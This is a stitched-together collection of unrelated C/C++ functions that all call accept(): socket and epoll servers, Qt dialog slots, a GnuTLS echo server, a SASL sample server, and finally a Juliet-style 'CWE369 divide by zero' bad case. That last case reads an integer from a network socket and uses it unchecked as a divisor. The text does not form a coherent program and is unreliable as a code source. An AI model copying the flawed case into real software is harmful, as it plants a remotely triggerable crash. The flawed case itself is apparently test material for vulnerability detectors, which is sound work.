//-- main() ///{{{1/////////////////////////////////////////// int main( int argc, char* argv[] ) { int serverPort = kServerPort; // did the user specify a port? if( 2 == argc ) { serverPort = atoi(argv[1]); } # if VERBOSE printf( "Attempting to bind to port %d\n", serverPort ); # endif // set up listening socket - see setup_server_socket() for details. int listenfd = setup_server_socket( serverPort ); if( -1 == listenfd ) return 1; // loop forever while( 1 ) { sockaddr_in clientAddr; socklen_t addrSize = sizeof(clientAddr); // accept a single incoming connection int clientfd = accept( listenfd, (sockaddr*)&clientAddr, &addrSize ); printf("Accepted a new client.. \n"); if( -1 == clientfd ) { perror( "accept() failed" ); continue; // attempt to accept a different client. } # if VERBOSE // print some information about the new client char buff[128]; printf( "Connection from %s:%d -> socket %d\n", inet_ntop( AF_INET, &clientAddr.sin_addr, buff, sizeof(buff) ), ntohs(clientAddr.sin_port), clientfd ); fflush( stdout ); # endif # if NONBLOCKING // enable non-blocking sends and receives on this socket if( !set_socket_nonblocking( clientfd ) ) continue; # endif // initialize connection data ConnectionData connData; memset( &connData, 0, sizeof(connData) ); connData.sock = clientfd; connData.state = eConnStateReceiving; // Repeatedly receive and re-send data from the connection. When // the connection closes, process_client_*() will return false, no // further processing is done. bool processFurther = true; while( processFurther ) { while( processFurther && connData.state == eConnStateReceiving ) processFurther = process_client_recv( connData ); while( processFurther && connData.state == eConnStateSending ) processFurther = process_client_send( connData ); } // done - close connection close( connData.sock ); } // The program will never reach this part, but for demonstration purposes, // we'll clean up the server resources here and then exit nicely. close( listenfd ); return 0; }
void jewelrySingleProductDiscount::slotsEnter() { m_price = ui.lineEdit_3->text().toFloat(); accept(); }
int main(int argc, char const *argv[]) { if(argc <= 2){ printf("usage:%s ip_address port_number\n", basename(argv[0])); return 1; } const char* ip = argv[1]; int port = atoi(argv[2]); addsig(SIGPIPE , SIG_IGN); threadpool<http_conn>* pool = NULL; try{ pool = new threadpool<http_conn>; }catch(...){ return 1; } http_conn* users = new http_conn[MAX_FD]; assert(users); int user_count = 0; int listenfd = socket(PF_INET , SOCK_STREAM , 0); assert(listenfd >= 0); struct linger tmp = {1 , 0}; setsockopt(listenfd , SOL_SOCKET , SO_LINGER , &tmp , sizeof(tmp)); int ret = 0; struct sockaddr_in address; bzero(&address , sizeof(address)); address.sin_family = AF_INET; inet_pton(AF_INET , ip , &address.sin_addr); address.sin_port = htons(port); ret = bind(listenfd , (struct sockaddr*) &address , sizeof(address)); assert(ret >= 0); epoll_event events[MAX_EVENT_NUMBER]; int epollfd = epoll_create(5); assert(epollfd != -1); addfd(epollfd , listenfd , false); http_conn::m_epollfd = epollfd; while(true){ int number = epoll_wait(epollfd , events , MAX_EVENT_NUMBER , -1); if((number < 0) && (errno != EINTR)){ printf("epoll failure\n"); break; } for(int i = 0 ; i < number ; i++){ int sockfd = events[i].data.fd; if(sockfd == listenfd){ struct sockaddr_in client_address; socklen_t clien_addrlength = sizeof(client_address); int connfd = accept(listenfd , (struct sockaddr*)&client_address , &clien_addrlength); if(connfd < 0){ printf("errno is %d\n", errno); continue; } if(http_conn::m_user_count >= MAX_FD){ show_error(connfd , "Internal server busy"); continue; } users[connfd].init(connfd , client_address); } else if(events[i].events & (EPOLLRDHUP | EPOLLHUP | EPOLLERR)){ users[sockfd].close_conn(); } else if(events[i].events & EPOLLIN){ if(users[sockfd].read()){ pool->append(users + sockfd); }else{ users[sockfd].close_conn(); } } else if(events[i].events & EPOLLOUT){ if(!users[sockfd].write()){ users[sockfd].close_conn(); } } else {} } } close(epollfd); close(listenfd); delete [] users; delete pool; return 0; return 0; }
/* Programme principal serveur */ void startServer(void) { /* Socket du serveur */ SOCKET sock = startConnection(); /* Fonction de lancement du serveur, ici le serveur passe en écoute */ int max = sock; /* Liste des différents comptes */ Account *accounts = NULL; User *users = NULL; User *u_cursor = NULL, *tmp = NULL; /* Descripteur */ fd_set rdfs; bool quit = false; /* A ajouter : commande permettant de quitter §§§ */ while(!quit) { /* On vide le descripteur */ FD_ZERO(&rdfs); /* On ajoute le socket du serveur */ FD_SET((u_int)sock, &rdfs); u_cursor = getFirstUser(users); /* On ajoute le socket de chaque User */ while(u_cursor) { FD_SET((u_int)(u_cursor->sock), &rdfs); u_cursor = u_cursor->next; } /* On effectue le select pour lier le descripteur à la lecture sur le socket */ if(select(max+1, &rdfs, NULL, NULL, NULL) == SOCKET_ERROR) { sock_error("select()"); } else { /* Ici on attends un changement d'un des descripteurs */ /* Si c'est un nouveau client qui effectue une connexion */ if(FD_ISSET(sock, &rdfs)) { HERROR_WRITE(HERROR_DEBUG, "[Serveur] Nouveau client detecte"); /* Variables du nouveau client */ SOCKADDR_IN csin; size_t sinsize = sizeof csin; /* Socket du nouveau client */ int csock = accept(sock, (SOCKADDR *)&csin, (socklen_t *)&sinsize); /* Si erreur */ if(csock == SOCKET_ERROR) sock_error("accept()"); /* On ajoute le client en attente de connexion */ users = addUser(users, (SOCKET)csock, copy(inet_ntoa(csin.sin_addr))); /* Nouveau max : */ max = csock > max ? csock : max; HERROR_WRITE(HERROR_INFO, "[Serveur] Nouveau client ajoute ( ip '%s')", users->ip); } /* Sinon c'est un client qui effectue une action */ else { u_cursor = getFirstUser(users); /* Pour chaque Uset */ while(u_cursor) { /* S'il a envoyé des données */ if(FD_ISSET(u_cursor->sock, &rdfs)){ if(u_cursor->state == WAITING_MSG || u_cursor->state == WAITING_END_MSG) { if(u_cursor->acc) { HERROR_WRITE(HERROR_INFO, "[Serveur] Message client (ip '%s' | login '%s')", u_cursor->ip, u_cursor->acc->login); } else { HERROR_WRITE(HERROR_INFO, "[Serveur] Message client (ip '%s' | login '--')", u_cursor->ip); } } /* Ici, fonction qui lit la réception du message */ if(rcvMsgFromUser(u_cursor, &accounts) == 0) { /* si == 0, client déconnecté */ if(u_cursor->acc) { HERROR_WRITE(HERROR_INFO, "[Serveur] Deconnexion client (ip '%s' | login '%s')", u_cursor->ip, u_cursor->acc->login); } else { HERROR_WRITE(HERROR_INFO, "[Serveur] Deconnexion client (ip '%s' | login '--')", u_cursor->ip); } /* On ferme la connexion */ closesocket(u_cursor->sock); /* On l'enleve des Users */ tmp = u_cursor->next; removeUserAndAccount(&u_cursor, &accounts); users = u_cursor; u_cursor = tmp; } else u_cursor = u_cursor->next; } else u_cursor = u_cursor->next; } } } } endConnection(); deleteUser(users); deleteAccount(accounts); }
void MOParametersDlg::pushedOk() { _orgParameters->cloneFromOtherVector(_widget->localParameters()); accept(); }
static void server (void) { /* this must be called once in the program */ gnutls_global_init (); gnutls_global_set_log_function (tls_log_func); if (debug) gnutls_global_set_log_level (4711); gnutls_certificate_allocate_credentials (&x509_cred); gnutls_certificate_set_x509_trust_mem (x509_cred, &ca, GNUTLS_X509_FMT_PEM); gnutls_certificate_set_x509_key_mem (x509_cred, &server_cert, &server_key, GNUTLS_X509_FMT_PEM); if (debug) success ("Launched, generating DH parameters...\n"); generate_dh_params (); gnutls_certificate_set_dh_params (x509_cred, dh_params); client_len = sizeof (sa_cli); session = initialize_tls_session (); sd = accept (listen_sd, (SA *) & sa_cli, &client_len); if (debug) success ("server: connection from %s, port %d\n", inet_ntop (AF_INET, &sa_cli.sin_addr, topbuf, sizeof (topbuf)), ntohs (sa_cli.sin_port)); gnutls_transport_set_ptr (session, (gnutls_transport_ptr_t) sd); ret = gnutls_handshake (session); if (ret < 0) { close (sd); gnutls_deinit (session); fail ("server: Handshake has failed (%s)\n\n", gnutls_strerror (ret)); return; } if (debug) success ("server: Handshake was completed\n"); if (debug) success ("server: TLS version is: %s\n", gnutls_protocol_get_name (gnutls_protocol_get_version (session))); /* see the Getting peer's information example */ if (debug) print_info (session); i = 0; for (;;) { memset (buffer, 0, MAX_BUF + 1); ret = gnutls_record_recv (session, buffer, MAX_BUF); if (ret == 0) { if (debug) success ("server: Peer has closed the GnuTLS connection\n"); break; } else if (ret < 0) { fail ("server: Received corrupted data(%d). Closing...\n", ret); break; } else if (ret > 0) { /* echo data back to the client */ gnutls_record_send (session, buffer, strlen (buffer)); } } /* do not wait for the peer to close the connection. */ gnutls_bye (session, GNUTLS_SHUT_WR); close (sd); gnutls_deinit (session); close (listen_sd); gnutls_certificate_free_credentials (x509_cred); gnutls_dh_params_deinit (dh_params); gnutls_global_deinit (); if (debug) success ("server: finished\n"); }
int main(int argc, char **argv) { int listener, new_fd, kdpfd, nfds, n, ret, curfds; socklen_t len; struct sockaddr_in my_addr, their_addr; unsigned int myport, lisnum; struct epoll_event ev; struct epoll_event events[MAXEPOLLSIZE]; struct rlimit rt; myport = 5000; lisnum = 2; /* 设置每个进程允许打开的最大文件数 */ rt.rlim_max = rt.rlim_cur = MAXEPOLLSIZE; if (setrlimit(RLIMIT_NOFILE, &rt) == -1) { perror("setrlimit"); exit(1); } else { printf("设置系统资源参数成功!\n"); } /* 开启 socket 监听 */ if ((listener = socket(PF_INET, SOCK_STREAM, 0)) == -1) { perror("socket"); exit(1); } else { printf("socket 创建成功!\n"); } setnonblocking(listener); bzero(&my_addr, sizeof(my_addr)); my_addr.sin_family = PF_INET; my_addr.sin_port = htons(myport); my_addr.sin_addr.s_addr = INADDR_ANY; if (bind(listener, (struct sockaddr *) &my_addr, sizeof(struct sockaddr)) == -1) { perror("bind"); exit(1); } else { printf("IP 地址和端口绑定成功\n"); } if (listen(listener, lisnum) == -1) { perror("listen"); exit(1); } else { printf("开启服务成功!\n"); } /* 创建 epoll 句柄,把监听 socket 加入到 epoll 集合里 */ kdpfd = epoll_create(MAXEPOLLSIZE); len = sizeof(struct sockaddr_in); ev.events = EPOLLIN | EPOLLET; ev.data.fd = listener; if (epoll_ctl(kdpfd, EPOLL_CTL_ADD, listener, &ev) < 0) { fprintf(stderr, "epoll set insertion error: fd=%d\n", listener); return -1; } else { printf("监听 socket 加入 epoll 成功!\n"); } curfds = 1; while (1) { /* 等待有事件发生 */ nfds = epoll_wait(kdpfd, events, curfds, -1); if (nfds == -1) { perror("epoll_wait"); break; } /* 处理所有事件 */ for (n = 0; n < nfds; ++n) { if (events[n].data.fd == listener) { new_fd = accept(listener, (struct sockaddr *) &their_addr,&len); if (new_fd < 0) { perror("accept"); continue; } else { printf("有连接来自于: %d:%d, 分配的 socket 为:%d\n", inet_ntoa(their_addr.sin_addr), ntohs(their_addr.sin_port), new_fd); } setnonblocking(new_fd); ev.events = EPOLLIN | EPOLLET; ev.data.fd = new_fd; if (epoll_ctl(kdpfd, EPOLL_CTL_ADD, new_fd, &ev) < 0) { fprintf(stderr, "把 socket '%d' 加入 epoll 失败!%s\n", new_fd, strerror(errno)); return -1; } curfds++; } else { ret = handle_message(events[n].data.fd); if (ret < 1 && errno != 11) { epoll_ctl(kdpfd, EPOLL_CTL_DEL, events[n].data.fd,&ev); curfds--; } } } } close(listener); return 0; }
void OptionsDialog::on_okButton_clicked() { mapper->submit(); accept(); }
QtMarbleConfigDialog::QtMarbleConfigDialog( MarbleWidget *marbleWidget, QWidget *parent ) : QDialog( parent ), d( new QtMarbleConfigDialogPrivate( marbleWidget ) ) { QTabWidget *tabWidget = new QTabWidget( this ); QDialogButtonBox *buttons = new QDialogButtonBox( QDialogButtonBox::Ok | QDialogButtonBox::Apply | QDialogButtonBox::Cancel, Qt::Horizontal, this ); // Connect the signals of the ButtonBox // to the corresponding slots of the dialog. connect( buttons, SIGNAL(accepted()), this, SLOT(accept()) ); // Ok connect( buttons, SIGNAL(rejected()), this, SLOT(reject()) ); // Cancel connect( buttons->button( QDialogButtonBox::Apply ),SIGNAL(clicked()), this, SLOT(writeSettings()) ); // Apply // If the dialog is accepted. Save the settings. connect( this, SIGNAL(accepted()), this, SLOT(writeSettings()) ); // view page QWidget *w_viewSettings = new QWidget( this ); d->ui_viewSettings.setupUi( w_viewSettings ); tabWidget->addTab( w_viewSettings, tr( "View" ) ); // It's experimental -- so we remove it for now. // FIXME: Delete the following line once OpenGL support is officially supported. d->ui_viewSettings.kcfg_graphicsSystem->removeItem( Marble::OpenGLGraphics ); QString nativeString ( tr("Native") ); #ifdef Q_WS_X11 nativeString = tr( "Native (X11)" ); #endif #ifdef Q_WS_MAC nativeString = tr( "Native (Mac OS X Core Graphics)" ); #endif d->ui_viewSettings.kcfg_graphicsSystem->setItemText( Marble::NativeGraphics, nativeString ); // navigation page QWidget *w_navigationSettings = new QWidget( this ); d->ui_navigationSettings.setupUi( w_navigationSettings ); tabWidget->addTab( w_navigationSettings, tr( "Navigation" ) ); // cache page QWidget *w_cacheSettings = new QWidget( this ); d->ui_cacheSettings.setupUi( w_cacheSettings ); tabWidget->addTab( w_cacheSettings, tr( "Cache and Proxy" ) ); // Forwarding clear button signals connect( d->ui_cacheSettings.button_clearVolatileCache, SIGNAL(clicked()), SIGNAL(clearVolatileCacheClicked()) ); connect( d->ui_cacheSettings.button_clearPersistentCache, SIGNAL(clicked()), SIGNAL(clearPersistentCacheClicked()) ); // time page QWidget *w_timeSettings = new QWidget( this ); d->ui_timeSettings.setupUi( w_timeSettings ); tabWidget->addTab( w_timeSettings, tr( "Date and Time" ) ); // routing page QWidget *w_routingSettings = new RoutingProfilesWidget( marbleWidget->model() ); tabWidget->addTab( w_routingSettings, tr( "Routing" ) ); // plugin page d->m_pluginModel.setRenderPlugins( d->m_marbleWidget->renderPlugins() ); d->w_pluginSettings = new MarblePluginSettingsWidget( this ); d->w_pluginSettings->setModel( &d->m_pluginModel ); d->w_pluginSettings->setObjectName( "plugin_page" ); tabWidget->addTab( d->w_pluginSettings, tr( "Plugins" ) ); // Setting the icons for the plugin dialog. d->w_pluginSettings->setAboutIcon( QIcon(":/icons/help-about.png") ); d->w_pluginSettings->setConfigIcon( QIcon(":/icons/settings-configure.png") ); connect( this, SIGNAL(rejected()), &d->m_pluginModel, SLOT(retrievePluginState()) ); connect( this, SIGNAL(accepted()), &d->m_pluginModel, SLOT(applyPluginState()) ); QWidget *w_cloudSyncSettings = new QWidget( this ); d->ui_cloudSyncSettings.setupUi( w_cloudSyncSettings ); tabWidget->addTab( w_cloudSyncSettings, tr( "Synchronization" ) ); // Layout QVBoxLayout *layout = new QVBoxLayout( this ); layout->addWidget( tabWidget ); layout->addWidget( buttons ); this->setLayout( layout ); // When the settings have been changed, write to disk. connect( this, SIGNAL(settingsChanged()), this, SLOT(syncSettings()) ); initializeCustomTimezone(); }
int main(int argc, char *argv[]) { int c; char *port = "12345"; char *service = "rcmd"; char *hostname = NULL; int *l, maxfd=0; int r, i; sasl_conn_t *conn; int cb_flag = 0; while ((c = getopt(argc, argv, "Cch:p:s:m:")) != EOF) { switch(c) { case 'C': cb_flag = 2; /* channel bindings are critical */ break; case 'c': cb_flag = 1; /* channel bindings are present */ break; case 'h': hostname = optarg; break; case 'p': port = optarg; break; case 's': service = optarg; break; case 'm': mech = optarg; break; default: usage(); break; } } /* initialize the sasl library */ r = sasl_server_init(NULL, "sample"); if (r != SASL_OK) saslfail(r, "initializing libsasl"); /* get a listening socket */ if ((l = listensock(port, PF_UNSPEC)) == NULL) { saslfail(SASL_FAIL, "allocating listensock"); } for (i = 1; i <= l[0]; i++) { if (l[i] > maxfd) maxfd = l[i]; } for (;;) { char localaddr[NI_MAXHOST | NI_MAXSERV], remoteaddr[NI_MAXHOST | NI_MAXSERV]; char myhostname[1024+1]; char hbuf[NI_MAXHOST], pbuf[NI_MAXSERV]; struct sockaddr_storage local_ip, remote_ip; int niflags, error; int salen; int nfds, fd = -1; FILE *in, *out; fd_set readfds; sasl_channel_binding_t cb; FD_ZERO(&readfds); for (i = 1; i <= l[0]; i++) FD_SET(l[i], &readfds); nfds = select(maxfd + 1, &readfds, 0, 0, 0); if (nfds <= 0) { if (nfds < 0 && errno != EINTR) perror("select"); continue; } for (i = 1; i <= l[0]; i++) if (FD_ISSET(l[i], &readfds)) { fd = accept(l[i], NULL, NULL); break; } if (fd < 0) { if (errno != EINTR) perror("accept"); continue; } printf("accepted new connection\n"); /* set ip addresses */ salen = sizeof(local_ip); if (getsockname(fd, (struct sockaddr *)&local_ip, (unsigned int *) &salen) < 0) { perror("getsockname"); } niflags = (NI_NUMERICHOST | NI_NUMERICSERV); #ifdef NI_WITHSCOPEID if (((struct sockaddr *)&local_ip)->sa_family == AF_INET6) niflags |= NI_WITHSCOPEID; #endif error = getnameinfo((struct sockaddr *)&local_ip, salen, hbuf, sizeof(hbuf), pbuf, sizeof(pbuf), niflags); if (error != 0) { fprintf(stderr, "getnameinfo: %s\n", gai_strerror(error)); strcpy(hbuf, "unknown"); strcpy(pbuf, "unknown"); } snprintf(localaddr, sizeof(localaddr), "%s;%s", hbuf, pbuf); salen = sizeof(remote_ip); if (getpeername(fd, (struct sockaddr *)&remote_ip, (unsigned int *) &salen) < 0) { perror("getpeername"); } niflags = (NI_NUMERICHOST | NI_NUMERICSERV); #ifdef NI_WITHSCOPEID if (((struct sockaddr *)&remote_ip)->sa_family == AF_INET6) niflags |= NI_WITHSCOPEID; #endif error = getnameinfo((struct sockaddr *)&remote_ip, salen, hbuf, sizeof(hbuf), pbuf, sizeof(pbuf), niflags); if (error != 0) { fprintf(stderr, "getnameinfo: %s\n", gai_strerror(error)); strcpy(hbuf, "unknown"); strcpy(pbuf, "unknown"); } snprintf(remoteaddr, sizeof(remoteaddr), "%s;%s", hbuf, pbuf); if (hostname == NULL) { r = gethostname(myhostname, sizeof(myhostname)-1); if(r == -1) saslfail(r, "getting hostname"); hostname = myhostname; } r = sasl_server_new(service, hostname, NULL, localaddr, remoteaddr, NULL, 0, &conn); if (r != SASL_OK) saslfail(r, "allocating connection state"); cb.name = "sasl-sample"; cb.critical = cb_flag > 1; cb.data = (const unsigned char *) "this is a test of channel binding"; cb.len = (unsigned int) strlen((const char *) cb.data); if (cb_flag) { sasl_setprop(conn, SASL_CHANNEL_BINDING, &cb); } /* set external properties here sasl_setprop(conn, SASL_SSF_EXTERNAL, &extprops); */ /* set required security properties here sasl_setprop(conn, SASL_SEC_PROPS, &secprops); */ in = fdopen(fd, "r"); out = fdopen(fd, "w"); r = mysasl_negotiate(in, out, conn); if (r == SASL_OK) { /* send/receive data */ } printf("closing connection\n"); fclose(in); fclose(out); close(fd); sasl_dispose(&conn); } sasl_done(); }
void CWE369_Divide_by_Zero__int_listen_socket_modulo_10_bad() { int data; /* Initialize data */ data = -1; if(globalTrue) { { #ifdef _WIN32 WSADATA wsaData; int wsaDataInit = 0; #endif int recvResult; struct sockaddr_in service; SOCKET listenSocket = INVALID_SOCKET; SOCKET acceptSocket = INVALID_SOCKET; char inputBuffer[CHAR_ARRAY_SIZE]; do { #ifdef _WIN32 if (WSAStartup(MAKEWORD(2,2), &wsaData) != NO_ERROR) { break; } wsaDataInit = 1; #endif /* POTENTIAL FLAW: Read data using a listen socket */ listenSocket = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); if (listenSocket == INVALID_SOCKET) { break; } memset(&service, 0, sizeof(service)); service.sin_family = AF_INET; service.sin_addr.s_addr = INADDR_ANY; service.sin_port = htons(TCP_PORT); if (bind(listenSocket, (struct sockaddr*)&service, sizeof(service)) == SOCKET_ERROR) { break; } if (listen(listenSocket, LISTEN_BACKLOG) == SOCKET_ERROR) { break; } acceptSocket = accept(listenSocket, NULL, NULL); if (acceptSocket == SOCKET_ERROR) { break; } /* Abort on error or the connection was closed */ recvResult = recv(acceptSocket, inputBuffer, CHAR_ARRAY_SIZE - 1, 0); if (recvResult == SOCKET_ERROR || recvResult == 0) { break; } /* NUL-terminate the string */ inputBuffer[recvResult] = '\0'; /* Convert to int */ data = atoi(inputBuffer); } while (0); if (listenSocket != INVALID_SOCKET) { CLOSE_SOCKET(listenSocket); } if (acceptSocket != INVALID_SOCKET) { CLOSE_SOCKET(acceptSocket); } #ifdef _WIN32 if (wsaDataInit) { WSACleanup(); } #endif } } if(globalTrue) { /* POTENTIAL FLAW: Possibly divide by zero */ printIntLine(100 % data); } }